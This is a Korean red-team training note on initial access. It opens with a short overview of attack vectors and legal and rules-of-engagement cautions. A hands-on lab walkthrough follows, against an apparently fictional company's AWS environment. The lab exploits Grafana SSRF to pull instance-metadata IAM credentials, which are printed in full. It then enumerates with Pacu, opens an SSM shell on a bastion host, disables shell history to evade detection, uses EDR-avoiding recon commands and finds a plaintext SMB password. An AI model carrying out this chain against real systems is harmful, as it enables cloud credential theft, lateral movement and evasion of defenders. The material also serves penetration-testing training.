초기 침투 - 개념

개념

  • 공격자가 외부에서 대상의 내부망 / 사내망 / 클라우드 환경에 진입하는 최초로 사용하는 접근 단계
  • 블랙 박스 : 외부 정찰 결과 바탕으로 초기 침투
  • 그레이 / 화이트 : 테스트 해보고 싶은 초기 침투

초기 침투 종류

여러 가지 방법으로 초기 침투를 할 수 있다. 그중 가장 대표적인 것은 다음과 같다.

  • 소셜 엔지니어링 : 피싱, Vishing
  • OSINT
  • VPN, Citrix, RDS 등의 원격 / 재택 서비스
  • 웹 / 모바일
  • 다크웹 - Valid Account, 노출된 토큰, API 키, 등
  • SaaS
  • 클라우드 공격
  • Wi-Fi
  • 물리 침투
  • 협력사 / 외주사 / 해외법인 장악 후 본사 Pivot

초기 침투 트렌드

  • 해외 : 클라우드 & IAM/IdP 관련 공격
    • EntraID, Okta
    • 토큰 (RPT) 탈취
  • 국내 : 페이로드 기반 피싱, DMZ 쪽의 웹 / 모바일
    • 엔드포인트 보안 취약
    • 클라우드 / SaaS 사용 & On-Prem DMZ 의존도
  • 공통 : 물리 / 와이파이

소셜 엔지니어링 유의점

  • 법, 컴플라이언스, RoE, 회사 내규 ex ) 공무원 자격 사칭
    ex ) 피싱 대상을 RoE를 통한 정한 경우 ex ) 회사 내규에 어긋나는 침투 시나리오
  • 개인 정보 수집 금지, 활용 금지

위 문제를 방지하기 위한 과정

  • 자체 검토 + 고객사 / 본사 컴토 + 법무팀 검토

초기 침투 - 실습

grafana SSRF

git clone https://github.com/AswXrd/grafana-ssrf-v2.git

grafana-ssrf 취약점을 활용해서 서버의 메타데이터를 뽑아내 보겠습니다

python3 grafana-ssrf-v2.py -U admin -P 'wfa9cjb_myq-TQD*khz' -H http://stg-ap2-api04-monitor.raccoontech.work:3000 -u http://169.254.169.254/latest/meta-data
python3 grafana-ssrf-v2.py -U admin -P 'wfa9cjb_myq-TQD*khz' -H http://stg-ap2-api04-monitor.raccoontech.work:3000 -u http://169.254.169.254/latest/meta-data/iam
[+] SSRF status: 200
info
security-credentials/
 
python3 grafana-ssrf-v2.py -U admin -P 'wfa9cjb_myq-TQD*khz' -H http://stg-ap2-api04-monitor.raccoontech.work:3000 -u http://169.254.169.254/latest/meta-data/iam/security-credentials/
[+] SSRF status: 200
rtAWSDMZSSM
 
python3 grafana-ssrf-v2.py -U admin -P 'wfa9cjb_myq-TQD*khz' -H http://stg-ap2-api04-monitor.raccoontech.work:3000 -u http://169.254.169.254/latest/meta-data/iam/security-credentials/rtAWSDMZSSM
[+] SSRF status: 200
{
  "Code" : "Success",
  "LastUpdated" : "2026-05-03T11:11:31Z",
  "Type" : "AWS-HMAC",
  "AccessKeyId" : "ASIA46JLVYVSYD55RGUT",
  "SecretAccessKey" : "cFeNzfB4HVXWvTHQB3kkVxknFTboyzQI/wZ+bWiw",
  "Token" : "IQoJb3JpZ2luX2VjEIv//////////wEaDmFwLW5vcnRoZWFzdC0zIkcwRQIhALyH7w8CzhdL35K8YZHWYC0VToyvUEQHKSSKlfW8740PAiAUQhNUooYNFG6v35V0qbmg3kkd3Qf8GhnSpKSM19JYKirKBQhUEAEaDDg4OTY4NjcwNTUwOSIMprIaHqp6AjehMHU4KqcFo0Rtd6gj/p9oIx3tHpmk87PNB8CzJz9hqlvZu52qthId7vmLOF1e6Usx5N/FsxruyfQ745qKYRFL9OM+C8TYB2rzuDxbv1EZJ2rM3E3DqhKTcoYQJqCjQwnheevJmsIqYRUAzfxP/SqwBNXjLqVNhKOvWLQpOS9ZAq+28eH4Qar3k0MpG/hygVS4yUc2gyW1xNlaYspByShgVq2bo+zwaQQzLrMZ9I060eTASaTJCexo/GsuOPvlDZHPA/vmQWDkLWsn27saKcGZtW3TXL08jXe+vJdP2z4tZeXNmSQB4scNlYH9cRTRs3lanwMdiDQ4Xg02r3tKEpNo8jWIoIKz/1HZhNRvXf3w1ctvssoEkyf8oTdQR9h1Pn0Lhorx/+iZF9KhUFNMQjQZZXtOMllgp9dIRKVwTjENm8NZqRxhEoNNFbo5WEW1trOcDwUJVqoRcbvVZ3fozaRLwc9T/WN8jCRg2lzW1+yuRp3LvqfQZlmrjBg5v77jK/0BTi3Y5yKiiT+OWcLDK6gPP3zCorJw7eDpsjOjoslRcyAFCV/2pUq5ftVdQtg6QUwmSeSVimXEidHJf/+jBDb9NO4HVh0RmN7N5CLoZsCs7yWcMwIkzcu3PbqSZlewaAQLq0BuON7iwTlm42kiz+h4ssEiibk/vJtBruE53G5wdYcl0g1XPVC8WWACLb3q4frDSLdF8ZMN7W5EUpAOlSstKL7LEzpsQXJhcWTQLI1NW+L1ImYBF3XLIxH9ggGSg90qO7Cbcgu5eVUjyXBcVv4+mdHomfvGngCWEjqg4ZZcDryRXw7gdEKd35CKFpenBSsmLyIOXuFJiMbFM1/RYv9SbtU+QKNaZoEa5H4ELW2dw55oyhg7ebmaiOgqee3VWlYIp3D37xF4H/J49WsPGTD82tzPBjqxAa9KXwGXvE7kVApO4IDvggMSjJlaTrlQGVcSU+w4uS0hulqH4tkaZAq79L1k80glaFGBR6LvsFf5+0KM8Ea7bRTcksGwFWCtZ6BATDCjlzyLJxxQnJz9/hXNCZXMoAZydS7o/fktMIYeXFaBWNjuudruCyZCsSMajJtc2VhpagNEAle7bnfYq0KsUhyDVbU9LWF412qokXZ/L+iPE7z561eXu9xCjVOrVYk0cd3erkrsUQ==",
  "Expiration" : "2026-05-03T17:26:56Z"
}
$vim rtl-ssrf.json
 
$aws configure set profile.rtlssrf.aws_access_key_id     "$(jq -r .AccessKeyId     rtl-ssrf.json)"
$aws configure set profile.rtlssrf.aws_secret_access_key "$(jq -r .SecretAccessKey rtl-ssrf.json)"
$aws configure set profile.rtlssrf.aws_session_token     "$(jq -r .Token           rtl-ssrf.json)"
$aws configure set profile.rtlssrf.region ap-northeast-3
 
$aws sts get-caller-identity --profile rtlssrf
{
    "UserId": "AROA46JLVYVSSZUJJ4FXJ:i-015ca6d3cc66605d5",
    "Account": "889686705509",
    "Arn": "arn:aws:sts::889686705509:assumed-role/rtAWSDMZSSM/i-015ca6d3cc66605d5"
}

자동 정보 수집

pipx install git+https://github.com/RhinoSecurityLabs/pacu.git
/root/.local/bin/pacu
 
# 세션 이름 rtl-ssrf
Pacu (rtl-ssrf:No Keys Set) > import_keys rtlssrf 
 
Pacu (rtl-ssrf:imported-rtlssrf) > run iam__enum_permissions
Pacu (rtl-ssrf:imported-rtlssrf) > run ec2__enum --regions ap-northeast-1,ap-northeast-2,ap-northeast-3
Pacu (rtl-ssrf:imported-rtlssrf) > run iam__privesc_scan     

수동 정보 수집

aws ssm describe-instance-information --profile rtlssrf  
{
    "InstanceInformationList": [
        {
            "InstanceId": "i-015ca6d3cc66605d5",
            "PingStatus": "Online",
            "LastPingDateTime": "2026-05-03T11:37:43.998000+00:00",
            "AgentVersion": "3.3.4121.0",
            "IsLatestVersion": false,
            "PlatformType": "Linux",
            "PlatformName": "Ubuntu",
            "PlatformVersion": "24.04",
            "ResourceType": "EC2Instance",
            "IPAddress": "10.10.1.218",
            "ComputerName": "raccoontech-dmz-stg-ap2-api04-monitor"
        },
        {
            "InstanceId": "i-07236096412fe9f4f",
            "PingStatus": "Online",
            "LastPingDateTime": "2026-05-03T11:38:04.924000+00:00",
            "AgentVersion": "3.3.4121.0",
            "IsLatestVersion": false,
            "PlatformType": "Linux",
            "PlatformName": "Ubuntu",
            "PlatformVersion": "24.04",
            "ResourceType": "EC2Instance",
            "IPAddress": "10.10.12.178",
            "ComputerName": "raccoontech-dmz-bastion01"
        }
    ]
}
curl "https://s3.amazonaws.com/session-manager-downloads/plugin/latest/ubuntu_64bit/session-manager-plugin.deb" -o "session-manager-plugin.deb"
sudo dpkg -i session-manager-plugin.deb
aws ssm start-session --profile rtlssrf --target <instance ID>
$sudo su - 

이를 통해서 bastion 호스트를 접속할 수 있습니다!

unset HISTFILE
export HISTSIZE=0
export HISTFILESIZE=0
set +o history

우리가 서버에 접속해서 명령어를 실행하면 history에 남게 되는데 이 경우 blueteam에서 탐지를 할 수 있기때문에 history에 남지 안도록 막아놔야한다.

echo $USER # 유저, 그룹, NIC 확인 
 
echo "${GROUPS[@]}" 
 
ls /sys/class/net # ifocnfig
 
$ awk '/32 host/ { print f } {f=$2}' <<< "$(</proc/net/fib_trie)" | sort -fuV # 현재 IP 확인 
 
$ cat /etc/resolv.conf # DNS 확인 
 
root@raccoontech-dmz-bastion01:~$ awk 'function hex2ip(h,ip){for(i=1;i<=4;i++){b=substr(h,9-i*2,2);ip=(ip?ip".":"")strtonum("0x"b)};return ip} NR==1{print;next} {printf "%-8s %-15s %-15s %-15s\n",$1,hex2ip($2),hex2ip($3),hex2ip($8)}' /proc/net/route # Route 확인

일반적인 whoami, ifconfig 와 같은 명령어들은 EDR에 걸릴 위험이 있습니다. 따라서 echo 명령어를 통해 $USER라는 변수를 출력하거나 /etc/resolv.conf와 같은 파일을 직접 출력하는 것을 통해서 얻는 것이 좋다

 ls -alh # cat /etc/passwd
 
 cd /home
 ls -alh
drwxr-xr-x  5 root                   root                     4.0K May  1 14:32 .
drwxr-xr-x 22 root                   root                     4.0K Apr 30 22:06 ..
drwxr-x---  3 mark.shawn@us.rt.local domain users@us.rt.local 4.0K May  1 14:35 mark.shawn@us.rt.local
drwxr-x---  2 ssm-user               ssm-user                 4.0K Apr 26 03:32 ssm-user
drwxr-x---  4 ubuntu                 ubuntu                   4.0K Apr 27 03:09 ubuntu

home디렉토리를 확인해본 결과 mark.shawn@us.or.local이라는 디렉토리가 있는 것을 확인할 수 있었습니다.

 cd ./mark.shawn@us.rt.local/
 ls -alh
total 40K
drwxr-x--- 3 mark.shawn@us.rt.local domain users@us.rt.local 4.0K Dec 29 14:31 .
drwxr-xr-x 5 root                   root                     4.0K May  1  2025 ..
-rw------- 1 mark.shawn@us.rt.local domain users@us.rt.local  255 May  2  2025 .bash_history
-rw-r--r-- 1 mark.shawn@us.rt.local domain users@us.rt.local  220 May  1  2025 .bash_logout
-rw-r--r-- 1 mark.shawn@us.rt.local domain users@us.rt.local 3.7K May  1  2025 .bashrc
drwx------ 2 mark.shawn@us.rt.local domain users@us.rt.local 4.0K May  1  2025 .cache
-rw-r--r-- 1 mark.shawn@us.rt.local domain users@us.rt.local  807 May  1  2025 .profile
-rwxr-xr-x 1 mark.shawn@us.rt.local domain users@us.rt.local   72 May  2  2025 .smb-mount.sh
-rw------- 1 mark.shawn@us.rt.local domain users@us.rt.local 2.0K May  2  2025 .viminfo
-rw-r--r-- 1 root                   root                      323 Oct  8  2025 ip
 
 cat .smb-mount.sh 
 smbclient //10.2.30.250/awsshare -U "US\\Mark.Shawn%Super@God" -c 'ls'

정리

공격 순서

  • Grafana + SSRFIAM SSMAWS enumerationSSMbastion01sssdRT onprem - us.rt.local 10.2.30.250/awsshare
  • INTERNETAWSAWS EC2ONPREM